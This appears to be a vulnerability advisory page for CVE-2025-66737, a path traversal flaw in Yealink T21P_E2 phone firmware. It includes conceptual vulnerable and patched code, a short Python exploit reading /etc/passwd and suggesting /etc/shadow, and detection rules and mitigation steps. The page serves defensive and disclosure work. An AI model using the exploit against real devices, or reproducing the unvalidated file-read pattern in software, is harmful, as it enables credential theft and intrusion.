CVE-2025-66737
Executive Summary
CVE-2025-66737 is a directory traversal vulnerability in the Yealink T21P_E2 Phone firmware version 52.84.0.15. A remote attacker with normal privileges can exploit the diagnostic component's result read function to read arbitrary files on the device. This can lead to disclosure of sensitive configuration data, credentials, or other system files. No patch is currently available from the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a physical embedded device (Yealink T21P_E2 Phone) and is not related to NPM, PyPI, Go, or Ruby packages. No supply chain package security implications apply.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (No official vector provided)
- Attack Vector (AV): Network (remote exploitation)
- Attack Complexity (AC): Low (crafted request)
- Privileges Required (PR): Low (normal user)
- User Interaction (UI): None
- Scope (S): Unchanged
- Confidentiality (C): High (arbitrary file read)
- Integrity (I): None
- Availability (A): None
- Estimated CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Threat Level: High (due to remote exploitation and sensitive data exposure)
Deep Dive & Mechanics
The vulnerability resides in the diagnostic component of the Yealink T21P_E2 phone web interface. The diagnostic component includes a function that reads the results of diagnostic tests. Due to insufficient input validation, an attacker can manipulate the file path parameter to traverse directories and read arbitrary files outside the intended directory.
Root Cause: The application does not sanitize or validate user-supplied file paths, allowing path traversal sequences (e.g., ../) to escape the restricted directory.
Attack Vector: A remote attacker sends a crafted HTTP request to the diagnostic result read endpoint, specifying a malicious file path. The server then reads and returns the contents of the requested file.
Impact: An attacker can read sensitive files such as:
/etc/passwd(user accounts)- Configuration files containing SIP credentials, admin passwords, or network settings
- Firmware files or other system binaries
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
# Vulnerable endpoint
@app.route('/diagnostic/result')
def read_diagnostic_result():
file_path = request.args.get('file')
# No validation - directly reads user-supplied path
with open(file_path, 'r') as f:
return f.read()
Patched Code (Conceptual):
import os
# Patched endpoint
@app.route('/diagnostic/result')
def read_diagnostic_result():
file_path = request.args.get('file')
# Restrict to allowed directory
base_dir = '/var/log/diagnostic/'
# Resolve and validate path
full_path = os.path.normpath(os.path.join(base_dir, file_path))
if not full_path.startswith(base_dir):
return "Access denied", 403
with open(full_path, 'r') as f:
return f.read()
Exploitation & Lab Setup
Red Team
Exploit Code (Python):
import requests
target = "http://<TARGET_IP>"
# Read /etc/passwd
payload = "/diagnostic/result?file=../../../../etc/passwd"
response = requests.get(target + payload)
print(response.text)
Usage:
- Replace
<TARGET_IP>with the IP address of the vulnerable Yealink phone. - Run the script to retrieve the contents of
/etc/passwd. - Modify the
fileparameter to read other files (e.g.,../../../../etc/shadow).
Blue Team
Detection Steps:
- Monitor web server logs for requests containing
../or..%2fin thefileparameter. - Alert on requests to
/diagnostic/resultwith suspicious file paths. - Check for outbound connections from the phone to unknown IPs (data exfiltration).
Honeypot Setup:
- Deploy a fake Yealink phone with a modified firmware that logs all file read attempts.
- Use a web application firewall (WAF) to block path traversal patterns.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP GET requests to
/diagnostic/result?file=../../../../etc/passwd - Requests containing
../or..%2fin thefileparameter - Outbound connections from the phone to external IPs after exploitation
- HTTP GET requests to
File IOCs:
- Unauthorized access to
/etc/passwd,/etc/shadow, or configuration files - Modified log files indicating file read attempts
- Unauthorized access to
System IOCs:
- Unexpected processes reading sensitive files
- Abnormal memory usage from diagnostic component
Detection Engineering
YARA Rule
rule yealink_directory_traversal {
meta:
description = "Detects directory traversal attempts against Yealink T21P_E2"
author = "Valters IT"
date = "2025-04-01"
cve = "CVE-2025-66737"
strings:
$traversal1 = "../"
$traversal2 = "..\\"
$traversal3 = "%2e%2e%2f"
$traversal4 = "%2e%2e%5c"
$endpoint = "/diagnostic/result"
condition:
$endpoint and any of ($traversal*)
}
Sigma Rule
title: Yealink T21P_E2 Directory Traversal Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects directory traversal attempts against Yealink T21P_E2 diagnostic endpoint
author: Valters IT
date: 2025-04-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-stem: '/diagnostic/result'
cs-uri-query|contains:
- '../'
- '..\\'
- '%2e%2e%2f'
- '%2e%2e%5c'
condition: selection
falsepositives:
- Legitimate diagnostic requests with valid file paths
level: high
Suricata Rule
alert http any any -> any any (msg:"Yealink T21P_E2 Directory Traversal Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/diagnostic/result"; http_uri; content:"../"; http_uri; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate affected devices: Place Yealink T21P_E2 phones on a separate VLAN with restricted network access.
- Disable diagnostic component: If not required, disable the diagnostic web interface via device configuration.
- Monitor logs: Enable detailed logging and monitor for path traversal attempts.
Long-term Fix:
- Vendor patch: Await an official firmware update from Yealink that properly validates file paths.
- Workaround: Implement a reverse proxy or WAF to filter out path traversal patterns before they reach the device.
Compensating Controls:
- Use network segmentation to limit exposure.
- Apply strict firewall rules to allow only trusted IPs to access the phone's web interface.
- Regularly audit device configurations and firmware versions.
Valters IT